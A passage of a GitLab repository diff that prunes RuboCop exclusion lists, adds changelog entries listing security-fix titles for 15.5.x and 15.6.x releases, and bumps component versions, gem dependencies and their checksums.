- 'ee/spec/helpers/ee/labels_helper_spec.rb'
- 'ee/spec/helpers/ee/security_orchestration_helper_spec.rb'
- - 'ee/spec/helpers/ee/welcome_helper_spec.rb'
- 'ee/spec/helpers/merge_requests_helper_spec.rb'
- 'ee/spec/helpers/subscriptions_helper_spec.rb'
- 'ee/spec/helpers/vulnerabilities_helper_spec.rb'
@@ -410,9 +390,7 @@ Style/PercentLiteralDelimiters:
- 'ee/spec/requests/api/graphql/project/alert_management/http_integrations_spec.rb'
- 'ee/spec/requests/api/internal/base_spec.rb'
- 'ee/spec/requests/api/issues_spec.rb'
- - 'ee/spec/requests/api/markdown_golden_master_spec.rb'
- 'ee/spec/requests/api/merge_requests_spec.rb'
- - 'ee/spec/requests/api/scim_spec.rb'
- 'ee/spec/requests/api/wikis_spec.rb'
- 'ee/spec/requests/lfs_locks_api_spec.rb'
- 'ee/spec/serializers/merge_request_widget_entity_spec.rb'
@@ -628,7 +606,6 @@ Style/PercentLiteralDelimiters:
- 'spec/controllers/projects/pipelines_controller_spec.rb'
- 'spec/controllers/projects/settings/ci_cd_controller_spec.rb'
- 'spec/controllers/projects_controller_spec.rb'
- - 'spec/controllers/registrations/welcome_controller_spec.rb'
- 'spec/controllers/search_controller_spec.rb'
- 'spec/controllers/snippets_controller_spec.rb'
- 'spec/db/docs_spec.rb'
@@ -656,8 +633,6 @@ Style/PercentLiteralDelimiters:
- 'spec/features/projects/integrations/user_activates_jira_spec.rb'
- 'spec/features/projects/jobs_spec.rb'
- 'spec/features/projects/labels/issues_sorted_by_priority_spec.rb'
- - 'spec/features/projects/pipelines/legacy_pipeline_spec.rb'
- - 'spec/features/projects/pipelines/legacy_pipelines_spec.rb'
- 'spec/features/projects/pipelines/pipeline_spec.rb'
- 'spec/features/projects/pipelines/pipelines_spec.rb'
- 'spec/features/tags/developer_views_tags_spec.rb'
@@ -918,8 +893,6 @@ Style/PercentLiteralDelimiters:
- 'spec/lib/unnested_in_filters/dsl_spec.rb'
- 'spec/lib/unnested_in_filters/rewriter_spec.rb'
- 'spec/metrics_server/metrics_server_spec.rb'
- - 'spec/migrations/add_new_trail_plans_spec.rb'
- - 'spec/migrations/change_web_hook_events_default_spec.rb'
- 'spec/migrations/reset_severity_levels_to_new_default_spec.rb'
- 'spec/models/alert_management/http_integration_spec.rb'
- 'spec/models/appearance_spec.rb'
@@ -1112,7 +1085,6 @@ Style/PercentLiteralDelimiters:
- 'spec/support/prometheus/additional_metrics_shared_examples.rb'
- 'spec/support/prometheus/metric_builders.rb'
- 'spec/support/shared_contexts/graphql/resolvers/runners_resolver_shared_context.rb'
- - 'spec/support/shared_contexts/markdown_golden_master_shared_examples.rb'
- 'spec/support/shared_contexts/services/projects/container_repository/delete_tags_service_shared_context.rb'
- 'spec/support/shared_examples/controllers/metrics_dashboard_shared_examples.rb'
- 'spec/support/shared_examples/controllers/wiki_actions_shared_examples.rb'
diff --git a/.rubocop_todo/style/redundant_self.yml b/.rubocop_todo/style/redundant_self.yml
index ec9aaac85dc..ae19cf458be 100644
--- a/.rubocop_todo/style/redundant_self.yml
+++ b/.rubocop_todo/style/redundant_self.yml
@@ -188,7 +188,6 @@ Style/RedundantSelf:
- 'config/initializers/active_record_keyset_pagination.rb'
- 'config/initializers/forbid_sidekiq_in_transactions.rb'
- 'config/initializers/mail_encoding_patch.rb'
- - 'db/post_migrate/20210329102724_add_new_trail_plans.rb'
- 'db/post_migrate/20211029102822_add_open_source_plan.rb'
- 'ee/app/graphql/resolvers/geo/registries_resolver.rb'
- 'ee/app/models/approval_merge_request_rule.rb'
@@ -412,7 +411,6 @@ Style/RedundantSelf:
- 'qa/qa/resource/events/project.rb'
- 'qa/qa/resource/personal_access_token.rb'
- 'qa/qa/resource/protected_branch.rb'
- - 'qa/qa/resource/reusable.rb'
- 'qa/qa/resource/user_gpg.rb'
- 'qa/qa/runtime/release.rb'
- 'qa/qa/scenario/bootable.rb'
diff --git a/.rubocop_todo/style/string_concatenation.yml b/.rubocop_todo/style/string_concatenation.yml
index 91eb45f73cf..91376f61e4c 100644
--- a/.rubocop_todo/style/string_concatenation.yml
+++ b/.rubocop_todo/style/string_concatenation.yml
@@ -22,7 +22,6 @@ Style/StringConcatenation:
- 'app/models/wiki.rb'
- 'app/models/wiki_page.rb'
- 'app/presenters/snippet_blob_presenter.rb'
- - 'app/services/clusters/gcp/finalize_creation_service.rb'
- 'app/services/feature_flags/update_service.rb'
- 'app/services/packages/composer/version_parser_service.rb'
- 'app/services/packages/debian/generate_distribution_key_service.rb'
@@ -35,7 +34,6 @@ Style/StringConcatenation:
- 'config/initializers/1_settings.rb'
- 'config/settings.rb'
- 'config/spring.rb'
- - 'db/migrate/20210412111213_create_security_orchestration_policy_rule_schedule.rb'
- 'ee/app/controllers/admin/elasticsearch_controller.rb'
- 'ee/app/finders/ee/issuables/label_filter.rb'
- 'ee/app/helpers/ee/geo_helper.rb'
@@ -271,7 +269,6 @@ Style/StringConcatenation:
- 'spec/requests/users_controller_spec.rb'
- 'spec/routing/git_http_routing_spec.rb'
- 'spec/services/ci/find_exposed_artifacts_service_spec.rb'
- - 'spec/services/clusters/gcp/finalize_creation_service_spec.rb'
- 'spec/services/clusters/kubernetes/create_or_update_service_account_service_spec.rb'
- 'spec/services/error_tracking/list_projects_service_spec.rb'
- 'spec/services/groups/update_service_spec.rb'
diff --git a/.rubocop_todo/style/symbol_proc.yml b/.rubocop_todo/style/symbol_proc.yml
index 074b400c4bb..4bcd310b899 100644
--- a/.rubocop_todo/style/symbol_proc.yml
+++ b/.rubocop_todo/style/symbol_proc.yml
@@ -2,26 +2,8 @@
# Cop supports --autocorrect.
Style/SymbolProc:
Exclude:
- - 'app/controllers/admin/users_controller.rb'
- - 'app/controllers/concerns/renders_blob.rb'
- - 'app/controllers/import/bitbucket_controller.rb'
- - 'app/controllers/import/bitbucket_server_controller.rb'
- - 'app/controllers/profiles/avatars_controller.rb'
- - 'app/controllers/profiles/two_factor_auths_controller.rb'
- 'app/controllers/profiles_controller.rb'
- - 'app/finders/packages/go/version_finder.rb'
- - 'app/graphql/mutations/commits/create.rb'
- - 'app/graphql/mutations/concerns/mutations/work_items/widgetable.rb'
- - 'app/graphql/mutations/jira_import/start.rb'
- - 'app/graphql/types/work_items/widgets/description_type.rb'
- - 'app/helpers/graph_helper.rb'
- - 'app/models/ci/build_metadata.rb'
- - 'app/models/ci/build_trace_chunk.rb'
- 'app/models/ci/pipeline.rb'
- - 'app/models/clusters/concerns/provider_status.rb'
- - 'app/models/commit.rb'
- - 'app/models/concerns/board_recent_visit.rb'
- - 'app/models/concerns/resolvable_discussion.rb'
- 'app/models/container_repository.rb'
- 'app/models/deployment.rb'
- 'app/models/discussion.rb'
@@ -84,8 +66,6 @@ Style/SymbolProc:
- 'config/initializers/doorkeeper_openid_connect.rb'
- 'config/initializers/mail_encoding_patch.rb'
- 'config/settings.rb'
- - 'db/migrate/20210318134427_delete_security_findings_without_uuid.rb'
- - 'db/migrate/20210503105845_add_project_value_stream_id_to_project_stages.rb'
- 'db/post_migrate/20220119094503_populate_audit_event_streaming_verification_token.rb'
- 'db/post_migrate/20220803042352_cleanup_mr_attention_request_todos.rb'
- 'ee/app/helpers/ee/mirror_helper.rb'
diff --git a/.solargraph.yml.example b/.solargraph.yml.example
index c226b038af9..655ba85261a 100644
--- a/.solargraph.yml.example
+++ b/.solargraph.yml.example
@@ -24,4 +24,4 @@ formatter:
rubocop: # formatting
require_paths: []
plugins: []
-max_files: 15000
+max_files: 20000
diff --git a/CHANGELOG.md b/CHANGELOG.md
index 19cd2bc9ebd..eba47a2ebe7 100644
--- a/CHANGELOG.md
+++ b/CHANGELOG.md
@@ -852,6 +852,32 @@ No changes.
- [Propagate RemoteIP to Gitaly via Workhorse](gitlab-org/gitlab@71da945c85931bac0263c193902dc1b54e2e62da) ([merge request](gitlab-org/gitlab!103635))
- [Documentation to reflect 100MB upload limit](gitlab-org/gitlab@33063bb26ab7699802ecb2b325cc8619d6fe7b86) ([merge request](gitlab-org/gitlab!103978))
+## 15.6.6 (2023-01-12)
+
+No changes.
+
+## 15.6.5 (2023-01-12)
+
+No changes.
+
+## 15.6.4 (2023-01-09)
+
+### Security (9 changes)
+
+- [Avoid regex with potential for poorly performing backtracking](gitlab-org/security/gitlab@76052c2c1d89b47fe1a39d6a2118ced0d26d4e5f) ([merge request](gitlab-org/security/gitlab!2988))
+- [Protect web-hook url variables after changing URL](gitlab-org/security/gitlab@55b7e051e4c6ca50ef1165130c465f1d11bd968f) ([merge request](gitlab-org/security/gitlab!2977))
+- [Limit the size of user agent to reduce ReDos attack](gitlab-org/security/gitlab@b9e42f4fe131f4a17d24d69076444d68c6a31b18) ([merge request](gitlab-org/security/gitlab!2990))
+- [Protect Sentry auth-token after changing URL](gitlab-org/security/gitlab@3b1d4ae2fbd1845d7659b21c65426275fb0b72d3) ([merge request](gitlab-org/security/gitlab!2984))
+- [Delete project specific licenses when license policy is deleted](gitlab-org/security/gitlab@79142b8c727a3d43b3555c4600b0b6cb3e070ebe) ([merge request](gitlab-org/security/gitlab!2943))
+- [Restrict user avatar availability based on visibility restrictions](gitlab-org/security/gitlab@15732554472373586769a8ca46c2b5cbf0b40783) ([merge request](gitlab-org/security/gitlab!2972))
+- [Policy change to read and destroy token without license for .com](gitlab-org/security/gitlab@9219eab8a5180ae34bb92cbd52c5e7be0602b66d) ([merge request](gitlab-org/security/gitlab!2913))
+- [Restrict Grafana API access on public projects](gitlab-org/security/gitlab@7a23bd7fe68a47ac5ae56c212d5ec3695631a4db) ([merge request](gitlab-org/security/gitlab!2958))
+- [Fix "Race condition enables verified email forgery"](gitlab-org/security/gitlab@d0c0852118adaeb8e99f443c06769b9564294290) ([merge request](gitlab-org/security/gitlab!2963))
+
+## 15.6.3 (2022-12-21)
+
+No changes.
+
## 15.6.2 (2022-12-05)
### Added (1 change)
@@ -1491,6 +1517,29 @@ No changes.
- [Update Gitlab Shell to 14.13.0](gitlab-org/gitlab@691262f5c25c17efcfa50307862afa66d07366a4) ([merge request](gitlab-org/gitlab!101372))
- [Migrate card to Pajamas](gitlab-org/gitlab@10577294ed64b13d7668be0c2041ec133e8f7f87) ([merge request](gitlab-org/gitlab!98861)) **GitLab Enterprise Edition**
+## 15.5.9 (2023-01-12)
+
+No changes.
+
+## 15.5.8 (2023-01-12)
+
+No changes.
+
+## 15.5.7 (2023-01-09)
+
+### Security (10 changes)
+
+- [Avoid regex with potential for poorly performing backtracking](gitlab-org/security/gitlab@c3f8d8c93e99ac3f226668086bfbf21739b02a0e) ([merge request](gitlab-org/security/gitlab!2989))
+- [Protect web-hook url variables after changing URL](gitlab-org/security/gitlab@8a18fea752a2759938b4c3d28516b6ed9386404f) ([merge request](gitlab-org/security/gitlab!2978))
+- [Limit the size of user agent to reduce ReDos attack](gitlab-org/security/gitlab@293db707009b7dd133a9a55b25892506013062fd) ([merge request](gitlab-org/security/gitlab!2991))
+- [Only allow safe params for diff helper](gitlab-org/security/gitlab@0c5de464c1d062103d6bc81cca45f7298929ca68) ([merge request](gitlab-org/security/gitlab!2951))
+- [Protect Sentry auth-token after changing URL](gitlab-org/security/gitlab@a2c3380748eb3aa36f23c74f1666c741fafec635) ([merge request](gitlab-org/security/gitlab!2986))
+- [Delete project specific licenses when license policy is deleted](gitlab-org/security/gitlab@312a28196df206b501861b6528b4b6fcaf7cc686) ([merge request](gitlab-org/security/gitlab!2896))
+- [Restrict user avatar availability based on visibility restrictions](gitlab-org/security/gitlab@f7b5c0a57b64c15edb0f555dd53c26b9d6147f0e) ([merge request](gitlab-org/security/gitlab!2973))
+- [Policy change to read and destroy token without license for .com](gitlab-org/security/gitlab@b51bc20ba07d8ef3d339aeacd1b0f904521f4158) ([merge request](gitlab-org/security/gitlab!2914))
+- [Restrict Grafana API access on public projects](gitlab-org/security/gitlab@d9798aa2d31ddef9ed6fedfc7b32bc8a8bac76bc) ([merge request](gitlab-org/security/gitlab!2959))
+- [Fix "Race condition enables verified email forgery"](gitlab-org/security/gitlab@95e65f637ed193b9c8b3c39af58a9bc0d552bad2) ([merge request](gitlab-org/security/gitlab!2962))
+
## 15.5.6 (2022-12-07)
No changes.
diff --git a/GITALY_SERVER_VERSION b/GITALY_SERVER_VERSION
index fde6f99b3cc..94e382dccca 100644
--- a/GITALY_SERVER_VERSION
+++ b/GITALY_SERVER_VERSION
@@ -1 +1 @@
-15.7.5 \ No newline at end of file
+684af7592d733edf7a16a817cd7900f03755cfb7
diff --git a/GITLAB_ELASTICSEARCH_INDEXER_VERSION b/GITLAB_ELASTICSEARCH_INDEXER_VERSION
index fd2a01863fd..944880fa15e 100644
--- a/GITLAB_ELASTICSEARCH_INDEXER_VERSION
+++ b/GITLAB_ELASTICSEARCH_INDEXER_VERSION
@@ -1 +1 @@
-3.1.0
+3.2.0
diff --git a/GITLAB_KAS_VERSION b/GITLAB_KAS_VERSION
index 3a3b5071621..acabd5c1299 100644
--- a/GITLAB_KAS_VERSION
+++ b/GITLAB_KAS_VERSION
@@ -1 +1 @@
-15.7.0
+15.8.0
diff --git a/GITLAB_METRICS_EXPORTER_VERSION b/GITLAB_METRICS_EXPORTER_VERSION
index 6d47f7a2be5..e0c3287cb8c 100644
--- a/GITLAB_METRICS_EXPORTER_VERSION
+++ b/GITLAB_METRICS_EXPORTER_VERSION
@@ -1 +1 @@
-f2d7e32cb5e3d8886a2bac5da2703b31f6a38d88
+65bbfa0b62518691961de096e4a27d7c76307b7c
diff --git a/GITLAB_PAGES_VERSION b/GITLAB_PAGES_VERSION
index fde6f99b3cc..d2fd613da29 100644
--- a/GITLAB_PAGES_VERSION
+++ b/GITLAB_PAGES_VERSION
@@ -1 +1 @@
-15.7.5 \ No newline at end of file
+daa91577c5add2dd851719bc79eb6d5272f95005
diff --git a/GITLAB_SHELL_VERSION b/GITLAB_SHELL_VERSION
index e51d2581626..c1074247761 100644
--- a/GITLAB_SHELL_VERSION
+++ b/GITLAB_SHELL_VERSION
@@ -1 +1 @@
-14.14.0
+14.15.0
diff --git a/Gemfile b/Gemfile
index 417dc56637d..96517b56ff9 100644
--- a/Gemfile
+++ b/Gemfile
@@ -5,7 +5,7 @@ source 'https://rubygems.org'
if ENV['BUNDLER_CHECKSUM_VERIFICATION_OPT_IN'] # this verification is still experimental
$LOAD_PATH.unshift(File.expand_path("vendor/gems/bundler-checksum/lib", __dir__))
require 'bundler-checksum'
- Bundler::Checksum.patch!
+ BundlerChecksum.patch!
end
gem 'bundler-checksum', '~> 0.1.0', path: 'vendor/gems/bundler-checksum', require: false
@@ -37,7 +37,7 @@ gem 'view_component', '~> 2.74.1'
gem 'default_value_for', '~> 3.4.0'
# Supported DBs
-gem 'pg', '~> 1.4.3'
+gem 'pg', '~> 1.4.5'
gem 'rugged', '~> 1.2'
gem 'grape-path-helpers', '~> 1.7.1'
@@ -84,7 +84,7 @@ gem 'gssapi', group: :kerberos
gem 'timfel-krb5-auth', '~> 0.8', group: :kerberos
# Spam and anti-bot protection
-gem 'recaptcha', '~> 4.11', require: 'recaptcha/rails'
+gem 'recaptcha', '~> 5.12', require: 'recaptcha/rails'
gem 'akismet', '~> 3.0'
gem 'invisible_captcha', '~> 2.0.0'
@@ -113,7 +113,7 @@ gem 'gpgme', '~> 2.0.22'
# GitLab fork with several improvements to original library. For full list of changes
# see https://github.com/intridea/omniauth-ldap/compare/master...gitlabhq:master
gem 'gitlab_omniauth-ldap', '~> 2.2.0', require: 'omniauth-ldap'
-gem 'net-ldap', '~> 0.16.3'
+gem 'net-ldap', '~> 0.17.1'
# API
gem 'grape', '~> 1.5.2'
@@ -200,7 +200,7 @@ gem 'diffy', '~> 3.4'
gem 'diff_match_patch', '~> 0.1.0'
# Application server
-gem 'rack', '~> 2.2.4'
+gem 'rack', '~> 2.2.6', '>= 2.2.6.2'
# https://github.com/zombocom/rack-timeout/blob/master/README.md#rails-apps-manually
gem 'rack-timeout', '~> 0.6.3', require: 'rack/timeout/base'
@@ -304,7 +304,7 @@ gem 'fast_blank'
gem 'gitlab-chronic', '~> 0.10.5'
gem 'gitlab_chronic_duration', '~> 0.10.6.2'
-gem 'rack-proxy', '~> 0.7.4'
+gem 'rack-proxy', '~> 0.7.6'
gem 'sassc-rails', '~> 2.1.0'
gem 'autoprefixer-rails', '10.2.5.1'
@@ -358,12 +358,12 @@ gem 'prometheus-client-mmap', '~> 0.17', require: 'prometheus/client'
gem 'warning', '~> 1.3.0'
group :development do
- gem 'lefthook', '~> 1.2.6', require: false
+ gem 'lefthook', '~> 1.2.7', require: false
gem 'rubocop'
gem 'solargraph', '~> 0.47.2', require: false
gem 'letter_opener_web', '~> 2.0.0'
- gem 'lookbook', '~> 1.2', '>= 1.2.1'
+ gem 'lookbook', '~> 1.4', '>= 1.4.5'
# Better errors handler
gem 'better_errors', '~> 2.9.1'
@@ -395,7 +395,7 @@ group :development, :test do
gem 'spring', '~> 4.1.0'
gem 'spring-commands-rspec', '~> 1.0.4'
- gem 'gitlab-styles', '~> 9.1.0', require: false
+ gem 'gitlab-styles', '~> 9.2.0', require: false
gem 'haml_lint', '~> 0.40.0', require: false
gem 'bundler-audit', '~> 0.7.0.1', require: false
@@ -538,7 +538,7 @@ gem 'mail-smtp_pool', '~> 0.1.0', path: 'vendor/gems/mail-smtp_pool', require: f
gem 'microsoft_graph_mailer', '~> 0.1.0', path: 'vendor/gems/microsoft_graph_mailer'
# File encryption
-gem 'lockbox', '~> 0.6.2'
+gem 'lockbox', '~> 1.1.1'
# Email validation
gem 'valid_email', '~> 0.1'
@@ -574,6 +574,7 @@ gem 'arr-pm', '~> 0.0.12'
# Apple plist parsing
gem 'CFPropertyList'
+gem 'app_store_connect'
# For phone verification
gem 'telesignenterprise', '~> 2.2'
diff --git a/Gemfile.checksum b/Gemfile.checksum
index 1816d46b4dd..c4b106f61b0 100644
--- a/Gemfile.checksum
+++ b/Gemfile.checksum
@@ -20,6 +20,7 @@
{"name":"akismet","version":"3.0.0","platform":"ruby","checksum":"74991b8e3d3257eeea996b47069abb8da2006c84a144255123e8dffd1c86b230"},
{"name":"android_key_attestation","version":"0.3.0","platform":"ruby","checksum":"467eb01a99d2bb48ef9cf24cc13712669d7056cba5a52d009554ff037560570b"},
{"name":"apollo_upload_server","version":"2.1.0","platform":"ruby","checksum":"e5f3c9dda0c2ca775d007072742b98d517dfd91a667111fedbcdc94dfabd904e"},
+{"name":"app_store_connect","version":"0.29.0","platform":"ruby","checksum":"01d7a923825a4221892099acb5a72f86f6ee7d8aa95815d3c459ba6816ea430f"},
{"name":"arr-pm","version":"0.0.12","platform":"ruby","checksum":"fdff482f75239239201f4d667d93424412639aad0b3b0ad4d827e7c637e0ad39"},
{"name":"asana","version":"0.10.13","platform":"ruby","checksum":"36d0d37f8dd6118a54580f1b80224875d7b6a9027598938e1722a508bfc2d7ac"},
{"name":"asciidoctor","version":"2.0.17","platform":"ruby","checksum":"ed5b5e399e8d64994cc16f0983f993d6e33990909a8415b6fc8b786cdeb00f3d"},
@@ -210,7 +211,7 @@
{"name":"gitlab-net-dns","version":"0.9.1","platform":"ruby","checksum":"bcd1a08dcb31b731e8ff602d828de619d2d9f53f5812f6abacf11c720873d4cb"},
{"name":"gitlab-omniauth-openid-connect","version":"0.10.0","platform":"ruby","checksum":"ea44a23ea93457057bba6a9912e883f5aefab36a941c6c58512c8a7095fb1153"},
{"name":"gitlab-sidekiq-fetcher","version":"0.9.0","platform":"ruby","checksum":"54041aec059f20c8e6dfce394e1b60e0c0a9c7cef32da912a58abbd333e13897"},
-{"name":"gitlab-styles","version":"9.1.0","platform":"ruby","checksum":"46fd4e9f7fc74b0dfdb0bd7aa2f5796fb4d5b01e5886d7779726f8b53a3c02b2"},
+{"name":"gitlab-styles","version":"9.2.0","platform":"ruby","checksum":"7106e7fb2de01f0c4a8d074ccff5c1f37502eab98cc51c8b5dd72a081785cea4"},
{"name":"gitlab_chronic_duration","version":"0.10.6.2","platform":"ruby","checksum":"6dda4cfe7dca9b958f163ac8835c3d9cc70cf8df8cbb89bb2fbf9ba4375105fb"},
{"name":"gitlab_omniauth-ldap","version":"2.2.0","platform":"ruby","checksum":"bb4d20acb3b123ed654a8f6a47d3fac673ece7ed0b6992edb92dca14bad2838c"},
{"name":"globalid","version":"1.0.0","platform":"ruby","checksum":"1253641b1dc3392721c964351773755d75135d3d3c5cc65d88b0a3880a60bed8"},
@@ -309,7 +310,7 @@
{"name":"kramdown","version":"2.3.2","platform":"ruby","checksum":"cb4530c2e9d16481591df2c9336723683c354e5416a5dd3e447fa48215a6a71c"},
{"name":"kramdown-parser-gfm","version":"1.1.0","platform":"ruby","checksum":"fb39745516427d2988543bf01fc4cf0ab1149476382393e0e9c48592f6581729"},
{"name":"launchy","version":"2.5.0","platform":"ruby","checksum":"954243c4255920982ce682f89a42e76372dba94770bf09c23a523e204bdebef5"},
-{"name":"lefthook","version":"1.2.6","platform":"ruby","checksum":"8d8ab03a559d1f5d40b4416072edf5ebb22eddfc74b75479458edd5318a3de63"},
+{"name":"lefthook","version":"1.2.7","platform":"ruby","checksum":"82736715006361aac32b9ae36086288691c024ff471a9df056d09535e5546ca3"},
{"name":"letter_opener","version":"1.7.0","platform":"ruby","checksum":"095bc0d58e006e5b43ea7d219e64ecf2de8d1f7d9dafc432040a845cf59b4725"},
{"name":"letter_opener_web","version":"2.0.0","platform":"ruby","checksum":"33860ad41e1785d75456500e8ca8bba8ed71ee6eaf08a98d06bbab67c5577b6f"},
{"name":"libyajl2","version":"1.2.0","platform":"ruby","checksum":"1117cd1e48db013b626e36269bbf1cef210538ca6d2e62d3fa3db9ded005b258"},
@@ -318,10 +319,10 @@
{"name":"listen","version":"3.7.1","platform":"ruby","checksum":"3b80caa7aa77fae836916c2f9e3fbcafbd15f5d695dd487c1f5b5e7e465efe29"},
{"name":"llhttp-ffi","version":"0.4.0","platform":"ruby","checksum":"e5f7327db3cf8007e648342ef76347d6e0ae545a8402e519cca9c886eb37b001"},
{"name":"locale","version":"2.1.3","platform":"ruby","checksum":"b6ddee011e157817cb98e521b3ce7cb626424d5882f1e844aafdee3e8b212725"},
-{"name":"lockbox","version":"0.6.2","platform":"ruby","checksum":"0136677875c3d6e27cef87cd7bd66610404e2b3cd7f07f1ac8ed34e48f18dc3c"},
+{"name":"lockbox","version":"1.1.1","platform":"ruby","checksum":"0af16b14c54f791c148615a0115387b51903d868c7fe622f49606c97071c2ac0"},
{"name":"lograge","version":"0.11.2","platform":"ruby","checksum":"4cbd1554b86f545d795eff15a0c24fd25057d2ac4e1caa5fc186168b3da932ef"},
{"name":"loofah","version":"2.19.1","platform":"ruby","checksum":"6c6469efdefe3496010000a346f9d3bf710e11ac4661e353cf56852326fb1023"},
-{"name":"lookbook","version":"1.2.1","platform":"ruby","checksum":"742844b625798b689215d1660f711aa79ff54084f5e8735fe674fe771fc165d7"},
+{"name":"lookbook","version":"1.4.5","platform":"ruby","checksum":"bc15b332d2c84f51aca60353f070c0b6a363b7496259e1dd7572d5ec122c9cdb"},
{"name":"lru_redux","version":"1.1.0","platform":"ruby","checksum":"ee71d0ccab164c51de146c27b480a68b3631d5b4297b8ffe8eda1c72de87affb"},
{"name":"lumberjack","version":"1.2.7","platform":"ruby","checksum":"a5c6aae6b4234f1420dbcd80b23e3bca0817bd239440dde097ebe3fa63c63b1f"},
{"name":"mail","version":"2.7.1","platform":"ruby","checksum":"ec2a3d489f7510b90d8eaa3f6abaad7038cf1d663cdf8ee66d0214a0bdf99c03"},
@@ -356,7 +357,7 @@
{"name":"nap","version":"1.1.0","platform":"ruby","checksum":"949691660f9d041d75be611bb2a8d2fd559c467537deac241f4097d9b5eea576"},
{"name":"nenv","version":"0.3.0","platform":"ruby","checksum":"d9de6d8fb7072228463bf61843159419c969edb34b3cef51832b516ae7972765"},
{"name":"net-http-persistent","version":"4.0.1","platform":"ruby","checksum":"2752f4cce05fd1c45e0537c6f3a98fa5a4899efd5f88e63c104ed5f05cbddef9"},
-{"name":"net-ldap","version":"0.16.3","platform":"ruby","checksum":"db464d2f8236e5f8546c07abb51b08e0a62b77136b1c7f91fa0ec5fe2336908e"},
+{"name":"net-ldap","version":"0.17.1","platform":"ruby","checksum":"52571b55f9157120833ac1667f2969ce0139251811d0a9b64657c1c135069cf9"},
{"name":"net-ntp","version":"2.1.3","platform":"ruby","checksum":"5bc73f4102bde0d1872bd3b293608ae99d9f5007d744f21919c6a565eda9267d"},
{"name":"net-scp","version":"3.0.0","platform":"ruby","checksum":"8fc6c80365b95230c6bfc529dbea3893d2d81724855bfb01cbf385866e1c902c"},
{"name":"net-ssh","version":"6.0.0","platform":"ruby","checksum":"6290ddcb232380cae79b772af924e12f57fe1dcd0f71254411dd21c04f7b13d0"},
@@ -415,10 +416,10 @@
{"name":"parslet","version":"1.8.2","platform":"ruby","checksum":"08d1ab3721cd3f175bfbee8788b2ddff71f92038f2d69bd65454c22bb9fbd98a"},
{"name":"pastel","version":"0.8.0","platform":"ruby","checksum":"481da9fb7d2f6e6b1a08faf11fa10363172dc40fd47848f096ae21209f805a75"},
{"name":"peek","version":"1.1.0","platform":"ruby","checksum":"d6501ead8cde46d8d8ed0d59eb6f0ba713d0a41c11a2c4a81447b2dce37b3ecc"},
-{"name":"pg","version":"1.4.3","platform":"ruby","checksum":"ab0219cdd9e5750abb04b8bca5a5a490f60abdf37503027fd2f90d0c2d31f2fa"},
-{"name":"pg","version":"1.4.3","platform":"x64-mingw-ucrt","checksum":"9f4d1d39af5ae5eea9f3c6b1e3092cbd5d26b716ff0e1283cf71c0690c69b36c"},
-{"name":"pg","version":"1.4.3","platform":"x64-mingw32","checksum":"3265afd0e00331c7c70e50d4a13eea9083e5b683ebcd808bd671af70d92b189e"},
-{"name":"pg","version":"1.4.3","platform":"x86-mingw32","checksum":"08a6ef4c702e313c1a04ad6b088b1843361ca8606843c7cd607e181e0d4e5508"},
+{"name":"pg","version":"1.4.5","platform":"ruby","checksum":"c139bd34907e7bbe3291a9b5e651bcf00de1f8a99a3148c064bc2d1b10b5a6f1"},
+{"name":"pg","version":"1.4.5","platform":"x64-mingw-ucrt","checksum":"614814a4597fed5c4a85e107a96ef6c8ee01b3e7dbc6529912249b7d778e5651"},
+{"name":"pg","version":"1.4.5","platform":"x64-mingw32","checksum":"d9a15cb4ee478bf719fee6ecd6c8b41d5569515ee0d968e561fe120aed862cb1"},
+{"name":"pg","version":"1.4.5","platform":"x86-mingw32","checksum":"255764ff8ac89203cc9dcc7188a4205e760fa7b884d75c94007b79897ee8613d"},
{"name":"pg_query","version":"2.2.0","platform":"ruby","checksum":"84a37548412f540061bcc52ee2915352297832816bca60e4524c716e03f1e950"},
{"name":"plist","version":"3.6.0","platform":"ruby","checksum":"f468bcf6b72ec6d1585ed6744eb4817c1932a5bf91895ed056e69b7f12ca10f2"},
{"name":"png_quantizator","version":"0.2.1","platform":"ruby","checksum":"6023d4d064125c3a7e02929c95b7320ed6ac0d7341f9e8de0c9ea6576ef3106b"},
@@ -440,19 +441,19 @@
{"name":"raabro","version":"1.4.0","platform":"ruby","checksum":"d4fa9ff5172391edb92b242eed8be802d1934b1464061ae5e70d80962c5da882"},
{"name":"racc","version":"1.6.1","platform":"java","checksum":"b3e9cc3892367fdd7eeef0c9210e9ab7f54f106b9202ed00efec892367f5bb27"},
{"name":"racc","version":"1.6.1","platform":"ruby","checksum":"c8226cc9788c8a43329b75f031dec9ae0423591534bd04e8a117653a442cc85c"},
-{"name":"rack","version":"2.2.4","platform":"ruby","checksum":"ea2232b638cbd919129c8c8ad8012ecaccc09f848152a7e705d2139d0137ac2b"},
+{"name":"rack","version":"2.2.6.2","platform":"ruby","checksum":"4be320c0fdea6651f0247dbd4182c1bd8acc06606a6b8935a19ad6a504347763"},
{"name":"rack-accept","version":"0.4.5","platform":"ruby","checksum":"66247b5449db64ebb93ae2ec4af4764b87d1ae8a7463c7c68893ac13fa8d4da2"},
{"name":"rack-attack","version":"6.6.1","platform":"ruby","checksum":"187e5d248c6a162ed8cafa8241a7b5947d9b9cf122a4870eb1cdd0db861f3a11"},
{"name":"rack-cors","version":"1.1.1","platform":"ruby","checksum":"4702644ac6d63ebbddff372a3cd4cd573513287e3524b5a5415f678970057a4b"},
{"name":"rack-oauth2","version":"1.21.3","platform":"ruby","checksum":"4e72a79dd6a866692e84422a552b27c38a5a1918ded06661e04910f2bbe676ba"},
{"name":"rack-protection","version":"2.2.2","platform":"ruby","checksum":"fd41414dbabbec274af0bdb1f72a48504449de4d979782c9af38cbb5dfff3299"},
-{"name":"rack-proxy","version":"0.7.4","platform":"ruby","checksum":"a8bb373583d8a3165d8caf5af5fd7c32c9e8a91b983fbc531efa0e3d6617d2d4"},
+{"name":"rack-proxy","version":"0.7.6","platform":"ruby","checksum":"8704c5009bb60eb16dacf4bcc5e067a8484e668321e8443534bb58ded320c2a8"},
{"name":"rack-test","version":"2.0.2","platform":"ruby","checksum":"adadd0e957f63a34199a9fdf905a920a0b0a50795735095b4ac4bd3c13385466"},
{"name":"rack-timeout","version":"0.6.3","platform":"ruby","checksum":"1754892eacc124d405e7f1145731ec9b7421ebd1bee5d51ddc18b72c204d0ab3"},
{"name":"rails","version":"6.1.6.1","platform":"ruby","checksum":"17024921a3913fb341f584542b06adf6bb12977a8b92d5fce093c3996c963686"},
{"name":"rails-controller-testing","version":"1.0.5","platform":"ruby","checksum":"741448db59366073e86fc965ba403f881c636b79a2c39a48d0486f2607182e94"},
{"name":"rails-dom-testing","version":"2.0.3","platform":"ruby","checksum":"b140c4f39f6e609c8113137b9a60dfc2ecb89864e496f87f23a68b3b8f12d8d1"},
